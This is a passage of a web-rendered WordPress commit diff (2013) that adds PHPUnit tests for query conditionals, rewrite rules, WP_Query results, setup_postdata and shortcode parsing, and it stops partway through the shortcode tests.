+               $this->assertQueryTrue('is_archive', 'is_date', 'is_month', 'is_paged');
+       }
+
+       // '([0-9]{4})/([0-9]{1,2})/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]',
+       function test_ym() {
+               $this->factory->post->create( array( 'post_date' => '2007-09-04 00:00:00' ) );
+               $this->go_to('/2007/09/');
+               $this->assertQueryTrue('is_archive', 'is_date', 'is_month');
+       }
+
+       // '([0-9]{4})/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&feed=$matches[2]',
+       // '([0-9]{4})/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&feed=$matches[2]',
+       function test_y_feed() {
+               $this->factory->post->create( array( 'post_date' => '2007-09-04 00:00:00' ) );
+               // check the long form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/2007/feed/{$type}");
+                               $this->assertQueryTrue('is_archive', 'is_feed', 'is_year', 'is_date');
+               }
+
+               // check the short form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/2007/{$type}");
+                               $this->assertQueryTrue('is_archive', 'is_feed', 'is_year', 'is_date');
+               }
+       }
+
+       // '([0-9]{4})/page/?([0-9]{1,})/?$' => 'index.php?year=$matches[1]&paged=$matches[2]',
+       function test_y_paged() {
+               $this->factory->post->create_many( 10, array( 'post_date' => '2007-09-04 00:00:00' ) );
+               $this->go_to('/2007/page/2/');
+               $this->assertQueryTrue('is_archive', 'is_date', 'is_year', 'is_paged');
+       }
+
+       // '([0-9]{4})/?$' => 'index.php?year=$matches[1]',
+       function test_y() {
+               $this->factory->post->create( array( 'post_date' => '2007-09-04 00:00:00' ) );
+               $this->go_to('/2007/');
+               $this->assertQueryTrue('is_archive', 'is_date', 'is_year');
+       }
+
+       // '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/trackback/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&tb=1',
+       function test_post_trackback() {
+               $post_id = $this->factory->post->create();
+               $permalink = get_permalink( $post_id );
+               $this->go_to("{$permalink}trackback/");
+               $this->assertQueryTrue('is_single', 'is_singular', 'is_trackback');
+       }
+
+       // '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&feed=$matches[5]',
+       // '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&feed=$matches[5]',
+       function test_post_comment_feed() {
+               $post_id = $this->factory->post->create();
+               $permalink = get_permalink( $post_id );
+
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("{$permalink}feed/{$type}");
+                               $this->assertQueryTrue('is_single', 'is_singular', 'is_feed', 'is_comment_feed');
+               }
+
+               // check the short form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("{$permalink}{$type}");
+                               $this->assertQueryTrue('is_single', 'is_singular', 'is_feed', 'is_comment_feed');
+               }
+       }
+
+       // '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)(/[0-9]+)?/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&page=$matches[5]',
+       function test_post_paged_short() {
+               $post_id = $this->factory->post->create( array(
+                       'post_date' => '2007-09-04 00:00:00',
+                       'post_title' => 'a-post-with-multiple-pages',
+                       'post_content' => 'Page 1 <!--nextpage--> Page 2'
+               ) );
+               $this->go_to( get_permalink( $post_id ) . '2/' );
+               // should is_paged be true also?
+               $this->assertQueryTrue('is_single', 'is_singular');
+
+       }
+
+       // '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/?$' => 'index.php?attachment=$matches[1]',
+       function test_post_attachment() {
+               $post_id = $this->factory->post->create( array( 'post_type' => 'attachment' ) );
+               $permalink = get_attachment_link( $post_id );
+               $this->go_to($permalink);
+               $this->assertQueryTrue('is_single', 'is_attachment', 'is_singular');
+       }
+
+       // '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/trackback/?$' => 'index.php?attachment=$matches[1]&tb=1',
+       // '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?attachment=$matches[1]&feed=$matches[2]',
+       // '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?attachment=$matches[1]&feed=$matches[2]',
+       // '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/?$' => 'index.php?attachment=$matches[1]',
+       // '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/trackback/?$' => 'index.php?attachment=$matches[1]&tb=1',
+       // '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?attachment=$matches[1]&feed=$matches[2]',
+       // '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?attachment=$matches[1]&feed=$matches[2]',
+}
</ins></span></pre></div>
<a id="trunkteststestsqueryresultsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/query/results.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/query/results.php                              (rev 0)
+++ trunk/tests/tests/query/results.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,372 @@
</span><ins>+<?php
+
+/**
+ *
+ * Test various query vars and make sure the WP_Query class selects the correct posts.
+ * We're testing against a known data set, so we can check that specific posts are included in the output.
+ *
+ * @group query
+ */
+class Tests_Query_Results extends WP_UnitTestCase {
+       protected $q;
+
+       function setUp() {
+               parent::setUp();
+
+               $cat_a = $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'cat-a' ) );
+               $cat_b = $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'cat-b' ) );
+               $cat_c = $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'cat-c' ) );
+
+               $this->factory->post->create( array( 'post_title' => 'tag-נ', 'tags_input' => array( 'tag-נ' ), 'post_date' => '2008-11-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'cats-a-b-c', 'post_date' => '2008-12-01 00:00:00', 'post_category' => array( $cat_a, $cat_b, $cat_c ) ) );
+               $this->factory->post->create( array( 'post_title' => 'cats-a-and-b', 'post_date' => '2009-01-01 00:00:00', 'post_category' => array( $cat_a, $cat_b ) ) );
+               $this->factory->post->create( array( 'post_title' => 'cats-b-and-c', 'post_date' => '2009-02-01 00:00:00', 'post_category' => array( $cat_b, $cat_c ) ) );
+               $this->factory->post->create( array( 'post_title' => 'cats-a-and-c', 'post_date' => '2009-03-01 00:00:00', 'post_category' => array( $cat_a, $cat_c ) ) );
+               $this->factory->post->create( array( 'post_title' => 'cat-a', 'post_date' => '2009-04-01 00:00:00', 'post_category' => array( $cat_a ) ) );
+               $this->factory->post->create( array( 'post_title' => 'cat-b', 'post_date' => '2009-05-01 00:00:00', 'post_category' => array( $cat_b ) ) );
+               $this->factory->post->create( array( 'post_title' => 'cat-c', 'post_date' => '2009-06-01 00:00:00', 'post_category' => array( $cat_c ) ) );
+               $this->factory->post->create( array( 'post_title' => 'lorem-ipsum', 'post_date' => '2009-07-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'comment-test', 'post_date' => '2009-08-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'one-trackback', 'post_date' => '2009-09-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'many-trackbacks', 'post_date' => '2009-10-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'no-comments', 'post_date' => '2009-10-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'one-comment', 'post_date' => '2009-11-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'contributor-post-approved', 'post_date' => '2009-12-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'embedded-video', 'post_date' => '2010-01-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'simple-markup-test', 'post_date' => '2010-02-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'raw-html-code', 'post_date' => '2010-03-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'tags-a-b-c', 'tags_input' => array( 'tag-a', 'tag-b', 'tag-c' ), 'post_date' => '2010-04-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'tag-a', 'tags_input' => array( 'tag-a' ), 'post_date' => '2010-05-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'tag-b', 'tags_input' => array( 'tag-b' ), 'post_date' => '2010-06-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'tag-c', 'tags_input' => array( 'tag-c' ), 'post_date' => '2010-07-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'tags-a-and-b', 'tags_input' => array( 'tag-a', 'tag-b' ), 'post_date' => '2010-08-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'tags-b-and-c', 'tags_input' => array( 'tag-b', 'tag-c' ), 'post_date' => '2010-09-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'tags-a-and-c', 'tags_input' => array( 'tag-a', 'tag-c' ), 'post_date' => '2010-10-01 00:00:00' ) );
+
+               $this->parent_one = $this->factory->post->create( array( 'post_title' => 'parent-one', 'post_date' => '2007-01-01 00:00:00' ) );
+               $this->parent_two = $this->factory->post->create( array( 'post_title' => 'parent-two', 'post_date' => '2007-01-01 00:00:00' ) );
+               $this->parent_three = $this->factory->post->create( array( 'post_title' => 'parent-three', 'post_date' => '2007-01-01 00:00:00' ) );
+               $this->factory->post->create( array( 'post_title' => 'child-one', 'post_parent' => $this->parent_one, 'post_date' => '2007-01-01 00:00:01' ) );
+               $this->factory->post->create( array( 'post_title' => 'child-two', 'post_parent' => $this->parent_one, 'post_date' => '2007-01-01 00:00:02' ) );
+               $this->factory->post->create( array( 'post_title' => 'child-three', 'post_parent' => $this->parent_two, 'post_date' => '2007-01-01 00:00:03' ) );
+               $this->factory->post->create( array( 'post_title' => 'child-four', 'post_parent' => $this->parent_two, 'post_date' => '2007-01-01 00:00:04' ) );
+
+               unset( $this->q );
+               $this->q = new WP_Query();
+       }
+
+       function test_query_default() {
+               $posts = $this->q->query('');
+
+               // the output should be the most recent 10 posts as listed here
+               $expected = array(
+                       0 => 'tags-a-and-c',
+                       1 => 'tags-b-and-c',
+                       2 => 'tags-a-and-b',
+                       3 => 'tag-c',
+                       4 => 'tag-b',
+                       5 => 'tag-a',
+                       6 => 'tags-a-b-c',
+                       7 => 'raw-html-code',
+                       8 => 'simple-markup-test',
+                       9 => 'embedded-video',
+               );
+
+               $this->assertEquals( $expected, wp_list_pluck( $posts, 'post_name' ) );
+       }
+
+       function test_query_tag_a() {
+               $posts = $this->q->query('tag=tag-a');
+
+               // there are 4 posts with Tag A
+               $this->assertCount( 4, $posts );
+               $this->assertEquals( 'tags-a-and-c', $posts[0]->post_name );
+               $this->assertEquals( 'tags-a-and-b', $posts[1]->post_name );
+               $this->assertEquals( 'tag-a', $posts[2]->post_name );
+               $this->assertEquals( 'tags-a-b-c', $posts[3]->post_name );
+       }
+
+       function test_query_tag_b() {
+               $posts = $this->q->query('tag=tag-b');
+
+               // there are 4 posts with Tag A
+               $this->assertCount( 4, $posts );
+               $this->assertEquals( 'tags-b-and-c', $posts[0]->post_name );
+               $this->assertEquals( 'tags-a-and-b', $posts[1]->post_name );
+               $this->assertEquals( 'tag-b', $posts[2]->post_name );
+               $this->assertEquals( 'tags-a-b-c', $posts[3]->post_name );
+       }
+
+       /**
+        * @ticket 21779
+        */
+       function test_query_tag_nun() {
+               $posts = $this->q->query('tag=tag-נ');
+
+               // there is 1 post with Tag נ
+               $this->assertCount( 1, $posts );
+               $this->assertEquals( 'tag-%d7%a0', $posts[0]->post_name );
+       }
+
+       function test_query_tag_id() {
+               $tag = tag_exists('tag-a');
+               $posts = $this->q->query("tag_id={$tag[term_id]}");
+
+               // there are 4 posts with Tag A
+               $this->assertCount( 4, $posts );
+               $this->assertEquals( 'tags-a-and-c', $posts[0]->post_name );
+               $this->assertEquals( 'tags-a-and-b', $posts[1]->post_name );
+               $this->assertEquals( 'tag-a', $posts[2]->post_name );
+               $this->assertEquals( 'tags-a-b-c', $posts[3]->post_name );
+       }
+
+       function test_query_tag_slug__in() {
+               $posts = $this->q->query("tag_slug__in[]=tag-b&tag_slug__in[]=tag-c");
+
+               // there are 4 posts with either Tag B or Tag C
+               $this->assertCount( 6, $posts );
+               $this->assertEquals( 'tags-a-and-c', $posts[0]->post_name );
+               $this->assertEquals( 'tags-b-and-c', $posts[1]->post_name );
+               $this->assertEquals( 'tags-a-and-b', $posts[2]->post_name );
+               $this->assertEquals( 'tag-c', $posts[3]->post_name );
+               $this->assertEquals( 'tag-b', $posts[4]->post_name );
+               $this->assertEquals( 'tags-a-b-c', $posts[5]->post_name );
+       }
+
+
+       function test_query_tag__in() {
+               $tag_a = tag_exists('tag-a');
+               $tag_b = tag_exists('tag-b');
+               $posts = $this->q->query("tag__in[]={$tag_a[term_id]}&tag__in[]={$tag_b[term_id]}");
+
+               // there are 6 posts with either Tag A or Tag B
+               $this->assertCount( 6, $posts );
+               $this->assertEquals( 'tags-a-and-c', $posts[0]->post_name );
+               $this->assertEquals( 'tags-b-and-c', $posts[1]->post_name );
+               $this->assertEquals( 'tags-a-and-b', $posts[2]->post_name );
+               $this->assertEquals( 'tag-b', $posts[3]->post_name );
+               $this->assertEquals( 'tag-a', $posts[4]->post_name );
+               $this->assertEquals( 'tags-a-b-c', $posts[5]->post_name );
+       }
+
+       function test_query_tag__not_in() {
+               $tag_a = tag_exists('tag-a');
+               $posts = $this->q->query("tag__not_in[]={$tag_a[term_id]}");
+
+               // the most recent 10 posts with Tag A excluded
+               // (note the different between this and test_query_default)
+               $expected = array (
+                       0 => 'tags-b-and-c',
+                       1 => 'tag-c',
+                       2 => 'tag-b',
+                       3 => 'raw-html-code',
+                       4 => 'simple-markup-test',
+                       5 => 'embedded-video',
+                       6 => 'contributor-post-approved',
+                       7 => 'one-comment',
+                       8 => 'no-comments',
+                       9 => 'many-trackbacks',
+               );
+
+               $this->assertEquals( $expected, wp_list_pluck( $posts, 'post_name' ) );
+       }
+
+       function test_query_tag__in_but__not_in() {
+               $tag_a = tag_exists('tag-a');
+               $tag_b = tag_exists('tag-b');
+               $posts = $this->q->query("tag__in[]={$tag_a[term_id]}&tag__not_in[]={$tag_b[term_id]}");
+
+               // there are 4 posts with Tag A, only 2 when we exclude Tag B
+               $this->assertCount( 2, $posts );
+               $this->assertEquals( 'tags-a-and-c', $posts[0]->post_name );
+               $this->assertEquals( 'tag-a', $posts[1]->post_name );
+       }
+
+
+
+       function test_query_category_name() {
+               $posts = $this->q->query('category_name=cat-a');
+
+               // there are 4 posts with Cat A, we'll check for them by name
+               $this->assertCount( 4, $posts );
+               $this->assertEquals( 'cat-a', $posts[0]->post_name );
+               $this->assertEquals( 'cats-a-and-c', $posts[1]->post_name );
+               $this->assertEquals( 'cats-a-and-b', $posts[2]->post_name );
+               $this->assertEquals( 'cats-a-b-c', $posts[3]->post_name );
+       }
+
+       function test_query_cat() {
+               $cat = category_exists('cat-b');
+               $posts = $this->q->query("cat=$cat");
+
+               // there are 4 posts with Cat B
+               $this->assertCount( 4, $posts );
+               $this->assertEquals( 'cat-b', $posts[0]->post_name );
+               $this->assertEquals( 'cats-b-and-c', $posts[1]->post_name );
+               $this->assertEquals( 'cats-a-and-b', $posts[2]->post_name );
+               $this->assertEquals( 'cats-a-b-c', $posts[3]->post_name );
+       }
+
+       function test_query_posts_per_page() {
+               $posts = $this->q->query('posts_per_page=5');
+
+               $expected = array (
+                       0 => 'tags-a-and-c',
+                       1 => 'tags-b-and-c',
+                       2 => 'tags-a-and-b',
+                       3 => 'tag-c',
+                       4 => 'tag-b',
+               );
+
+               $this->assertCount( 5, $posts );
+               $this->assertEquals( $expected, wp_list_pluck( $posts, 'post_name' ) );
+       }
+
+       function test_query_offset() {
+               $posts = $this->q->query('offset=2');
+
+               $expected = array (
+                       0 => 'tags-a-and-b',
+                       1 => 'tag-c',
+                       2 => 'tag-b',
+                       3 => 'tag-a',
+                       4 => 'tags-a-b-c',
+                       5 => 'raw-html-code',
+                       6 => 'simple-markup-test',
+                       7 => 'embedded-video',
+                       8 => 'contributor-post-approved',
+                       9 => 'one-comment',
+               );
+
+               $this->assertCount( 10, $posts );
+               $this->assertEquals( $expected, wp_list_pluck( $posts, 'post_name' ) );
+       }
+
+       function test_query_paged() {
+               $posts = $this->q->query('paged=2');
+
+               $expected = array (
+                       0 => 'contributor-post-approved',
+                       1 => 'one-comment',
+                       2 => 'no-comments',
+                       3 => 'many-trackbacks',
+                       4 => 'one-trackback',
+                       5 => 'comment-test',
+                       6 => 'lorem-ipsum',
+                       7 => 'cat-c',
+                       8 => 'cat-b',
+                       9 => 'cat-a',
+               );
+
+               $this->assertCount( 10, $posts );
+               $this->assertTrue( $this->q->is_paged() );
+               $this->assertEquals( $expected, wp_list_pluck( $posts, 'post_name' ) );
+       }
+
+       function test_query_paged_and_posts_per_page() {
+               $posts = $this->q->query('paged=4&posts_per_page=4');
+
+               $expected = array (
+                       0 => 'no-comments',
+                       1 => 'many-trackbacks',
+                       2 => 'one-trackback',
+                       3 => 'comment-test',
+               );
+
+               $this->assertCount( 4, $posts );
+               $this->assertTrue( $this->q->is_paged() );
+               $this->assertEquals( $expected, wp_list_pluck( $posts, 'post_name' ) );
+       }
+
+       /**
+        * @ticket 18897
+        */
+       function test_query_offset_and_paged() {
+               $posts = $this->q->query('paged=2&offset=3');
+
+               $expected = array (
+                       0 => 'many-trackbacks',
+                       1 => 'one-trackback',
+                       2 => 'comment-test',
+                       3 => 'lorem-ipsum',
+                       4 => 'cat-c',
+                       5 => 'cat-b',
+                       6 => 'cat-a',
+                       7 => 'cats-a-and-c',
+                       8 => 'cats-b-and-c',
+                       9 => 'cats-a-and-b',
+               );
+
+               $this->assertCount( 10, $posts );
+               $this->assertTrue( $this->q->is_paged() );
+               $this->assertEquals( $expected, wp_list_pluck( $posts, 'post_name' ) );
+       }
+
+       /**
+        * @ticket 11056
+        */
+       function test_query_post_parent__in() {
+               // Query for first parent's children
+               $posts = $this->q->query( array(
+                       'post_parent__in' => array( $this->parent_one ),
+                       'orderby' => 'date',
+                       'order' => 'asc',
+               ) );
+
+               $this->assertEquals( array(
+                       'child-one',
+                       'child-two',
+               ), wp_list_pluck( $posts, 'post_title' ) );
+
+               // Second parent's children
+               $posts = $this->q->query( array(
+                       'post_parent__in' => array( $this->parent_two ),
+                       'orderby' => 'date',
+                       'order' => 'asc',
+               ) );
+
+               $this->assertEquals( array(
+                       'child-three',
+                       'child-four',
+               ), wp_list_pluck( $posts, 'post_title' ) );
+
+               // Both first and second parent's children
+               $posts = $this->q->query( array(
+                       'post_parent__in' => array( $this->parent_one, $this->parent_two ),
+                       'orderby' => 'date',
+                       'order' => 'asc',
+               ) );
+
+               $this->assertEquals( array(
+                       'child-one',
+                       'child-two',
+                       'child-three',
+                       'child-four',
+               ), wp_list_pluck( $posts, 'post_title' ) );
+
+               // Third parent's children
+               $posts = $this->q->query( array(
+                       'post_parent__in' => array( $this->parent_three ),
+               ) );
+
+               $this->assertEquals( array(), wp_list_pluck( $posts, 'post_title' ) );
+       }
+
+       /**
+        * @ticket 11056
+        */
+       function test_query_orderby_post_parent__in() {
+               $posts = $this->q->query( array(
+                       'post_parent__in' => array( $this->parent_two, $this->parent_one ),
+                       'orderby' => 'post_parent__in',
+                       'order' => 'asc',
+               ) );
+
+               $this->assertEquals( array(
+                       'child-three',
+                       'child-four',
+                       'child-one',
+                       'child-two',
+               ), wp_list_pluck( $posts, 'post_title' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsqueryverboseRewriteRulesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/query/verboseRewriteRules.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/query/verboseRewriteRules.php                          (rev 0)
+++ trunk/tests/tests/query/verboseRewriteRules.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,18 @@
</span><ins>+<?php
+
+require_once dirname( dirname( __FILE__ ) ) . '/query.php';
+
+/**
+ * @group query
+ * @group rewrite
+ */
+class Tests_Query_VerbosePageRules extends Tests_Query_Conditionals {
+       function setUp() {
+               parent::setUp();
+               global $wp_rewrite;
+               update_option( 'permalink_structure', '/%category%/%year%/%postname%/' );
+               create_initial_taxonomies();
+               $GLOBALS['wp_rewrite']->init();
+               flush_rewrite_rules();
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsqueryphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/query.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/query.php                              (rev 0)
+++ trunk/tests/tests/query.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,60 @@
</span><ins>+<?php
+
+class Tests_Query extends WP_UnitTestCase {
+
+       /**
+        * @ticket 16746
+        */
+       function test_nextpage_at_start_of_content() {
+               $post = $this->factory->post->create_and_get( array( 'post_content' => '<!--nextpage-->Page 1<!--nextpage-->Page 2<!--nextpage-->Page 3' ) );
+               setup_postdata( $post );
+
+               $this->assertEquals( 1, $GLOBALS['multipage'] );
+               $this->assertCount(  3, $GLOBALS['pages']     );
+               $this->assertEquals( 3, $GLOBALS['numpages']  );
+               $this->assertEquals( array( 'Page 1', 'Page 2', 'Page 3' ), $GLOBALS['pages'] );
+       }
+
+       function test_setup_postdata_single_page() {
+               $post = $this->factory->post->create_and_get( array( 'post_content' => 'Page 0' ) );
+               setup_postdata( $post );
+
+               $this->assertEquals( 0, $GLOBALS['multipage'] );
+               $this->assertCount(  1, $GLOBALS['pages']     );
+               $this->assertEquals( 1, $GLOBALS['numpages']  );
+               $this->assertEquals( array( 'Page 0' ), $GLOBALS['pages'] );
+       }
+
+       function test_setup_postdata_multi_page() {
+               $post = $this->factory->post->create_and_get( array( 'post_content' => 'Page 0<!--nextpage-->Page 1<!--nextpage-->Page 2<!--nextpage-->Page 3' ) );
+               setup_postdata( $post );
+
+               $this->assertEquals( 1, $GLOBALS['multipage'] );
+               $this->assertCount(  4, $GLOBALS['pages']     );
+               $this->assertEquals( 4, $GLOBALS['numpages']  );
+               $this->assertEquals( array( 'Page 0', 'Page 1', 'Page 2', 'Page 3' ), $GLOBALS['pages'] );
+       }
+
+       /**
+        * @ticket 24330
+        *
+        * setup_postdata( $a_post ) followed by the_content() in a loop that does not update
+        * global $post should use the content of $a_post rather then the global post.
+        */
+       function test_setup_postdata_loop() {
+               $post_id = $this->factory->post->create( array( 'post_content' => 'global post' ) );
+               $GLOBALS['wp_query']->post = $GLOBALS['post'] = get_post( $post_id );
+
+               $ids = $this->factory->post->create_many(5);
+               foreach ( $ids as $id ) {
+                       $page = get_post( $id );
+                       if ( $page ) {
+                               setup_postdata( $page );
+                               $content = get_echo( 'the_content', array() );
+                               $this->assertEquals( $post_id, $GLOBALS['post']->ID );
+                               $this->assertNotEquals( '<p>global post</p>', strip_ws( $content ) );
+                               wp_reset_postdata();
+                       }
+               }
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsshortcodephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/shortcode.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/shortcode.php                          (rev 0)
+++ trunk/tests/tests/shortcode.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,376 @@
</span><ins>+<?php
+/**
+ * @group shortcode
+ */
+class Tests_Shortcode extends WP_UnitTestCase {
+
+       protected $shortcodes = array( 'test-shortcode-tag', 'footag', 'bartag', 'baztag', 'dumptag', 'hyphen', 'hyphen-foo', 'hyphen-foo-bar' );
+
+       function setUp() {
+               parent::setUp();
+
+               foreach ( $this->shortcodes as $shortcode )
+                       add_shortcode( $shortcode, array( $this, '_shortcode_' . str_replace( '-', '_', $shortcode ) ) );
+
+               $this->atts = null;
+               $this->content = null;
+               $this->tagname = null;
+
+       }
+
+       function tearDown() {
+               global $shortcode_tags;
+               parent::tearDown();
+               foreach ( $this->shortcodes as $shortcode )
+                       unset( $shortcode_tags[ $shortcode ] );
+       }
+
+       function _shortcode_test_shortcode_tag( $atts, $content = null, $tagname = null ) {
+               $this->atts = $atts;
+               $this->content = $content;
+               $this->tagname = $tagname;
+               $this->filter_atts_out = null;
+               $this->filter_atts_pairs = null;
+               $this->filter_atts_atts = null;
+       }
+
+       // [footag foo="bar"]
+       function _shortcode_footag( $atts ) {
+               return @"foo = {$atts['foo']}";
+       }
+
+       // [bartag foo="bar"]
+       function _shortcode_bartag( $atts ) {
+               extract(shortcode_atts(array(
+                       'foo' => 'no foo',
+                       'baz' => 'default baz',
+               ), $atts, 'bartag'));
+
+               return "foo = {$foo}";
+       }
+
+       // [baztag]content[/baztag]
+       function _shortcode_baztag( $atts, $content = '' ) {
+               return 'content = '.do_shortcode($content);
+       }
+
+       function _shortcode_dumptag( $atts ) {
+               $out = '';
+               foreach ($atts as $k=>$v)
+                       $out .= "$k = $v\n";
+               return $out;
+       }
+
+       function _shortcode_hyphen() {
+               return __FUNCTION__;
+       }
+
+       function _shortcode_hyphen_foo() {
+               return __FUNCTION__;
+       }
+
+       function _shortcode_hyphen_foo_bar() {
+               return __FUNCTION__;
+       }
+
+       function test_noatts() {
+               do_shortcode('[test-shortcode-tag /]');
+               $this->assertEquals( '', $this->atts );
+               $this->assertEquals( 'test-shortcode-tag', $this->tagname );
+       }
+
+       function test_one_att() {
+               do_shortcode('[test-shortcode-tag foo="asdf" /]');
+               $this->assertEquals( array('foo' => 'asdf'), $this->atts );
+               $this->assertEquals( 'test-shortcode-tag', $this->tagname );
+       }
+
+       function test_not_a_tag() {
+               $out = do_shortcode('[not-a-shortcode-tag]');
+               $this->assertEquals( '[not-a-shortcode-tag]', $out );
+       }
+
+       /**
+        * @ticket 17657
+        */
+       function test_tag_hyphen_not_tag() {
+               $out = do_shortcode( '[dumptag-notreal]' );
+               $this->assertEquals( '[dumptag-notreal]', $out );
+       }
+
+       function test_tag_underscore_not_tag() {
+               $out = do_shortcode( '[dumptag_notreal]' );
+               $this->assertEquals( '[dumptag_notreal]', $out );
+       }
+
+       function test_tag_not_tag() {
+               $out = do_shortcode( '[dumptagnotreal]' );
+               $this->assertEquals( '[dumptagnotreal]', $out );
+       }
+
+       /**
+        * @ticket 17657
+        */
+       function test_tag_hyphen() {
+               $this->assertEquals( '_shortcode_hyphen', do_shortcode( '[hyphen]' ) );
+               $this->assertEquals( '_shortcode_hyphen_foo', do_shortcode( '[hyphen-foo]' ) );
+               $this->assertEquals( '_shortcode_hyphen_foo_bar', do_shortcode( '[hyphen-foo-bar]' ) );
+               $this->assertEquals( '[hyphen-baz]', do_shortcode( '[hyphen-baz]' ) );
+               $this->assertEquals( '[hyphen-foo-bar-baz]', do_shortcode( '[hyphen-foo-bar-baz]' ) );
+       }
+
+       function test_two_atts() {
+               do_shortcode('[test-shortcode-tag foo="asdf" bar="bing" /]');
+               $this->assertEquals( array('foo' => 'asdf', 'bar' => 'bing'), $this->atts );
+               $this->assertEquals( 'test-shortcode-tag', $this->tagname );
+       }
+
+       function test_noatts_enclosing() {
+               do_shortcode('[test-shortcode-tag]content[/test-shortcode-tag]');
+               $this->assertEquals( '', $this->atts );
+               $this->assertEquals( 'content', $this->content );
+               $this->assertEquals( 'test-shortcode-tag', $this->tagname );
+       }
+
+       function test_one_att_enclosing() {
+               do_shortcode('[test-shortcode-tag foo="bar"]content[/test-shortcode-tag]');
+               $this->assertEquals( array('foo' => 'bar'), $this->atts );
+               $this->assertEquals( 'content', $this->content );
+               $this->assertEquals( 'test-shortcode-tag', $this->tagname );
+       }
+
+       function test_two_atts_enclosing() {
+               do_shortcode('[test-shortcode-tag foo="bar" baz="bing"]content[/test-shortcode-tag]');
+               $this->assertEquals( array('foo' => 'bar', 'baz' => 'bing'), $this->atts );
+               $this->assertEquals( 'content', $this->content );
+               $this->assertEquals( 'test-shortcode-tag', $this->tagname );
+       }
+
+       function test_unclosed() {
+               $out = do_shortcode('[test-shortcode-tag]');
+               $this->assertEquals( '', $out );
+               $this->assertEquals( '', $this->atts );
+               $this->assertEquals( 'test-shortcode-tag', $this->tagname );
+       }
+
+       function test_positional_atts_num() {
+               $out = do_shortcode('[test-shortcode-tag 123]');
+               $this->assertEquals( '', $out );
+               $this->assertEquals( array(0=>'123'), $this->atts );
+               $this->assertEquals( 'test-shortcode-tag', $this->tagname );
+       }
+
+       function test_positional_atts_url() {
+               $out = do_shortcode('[test-shortcode-tag http://www.youtube.com/watch?v=eBGIQ7ZuuiU]');
+               $this->assertEquals( '', $out );
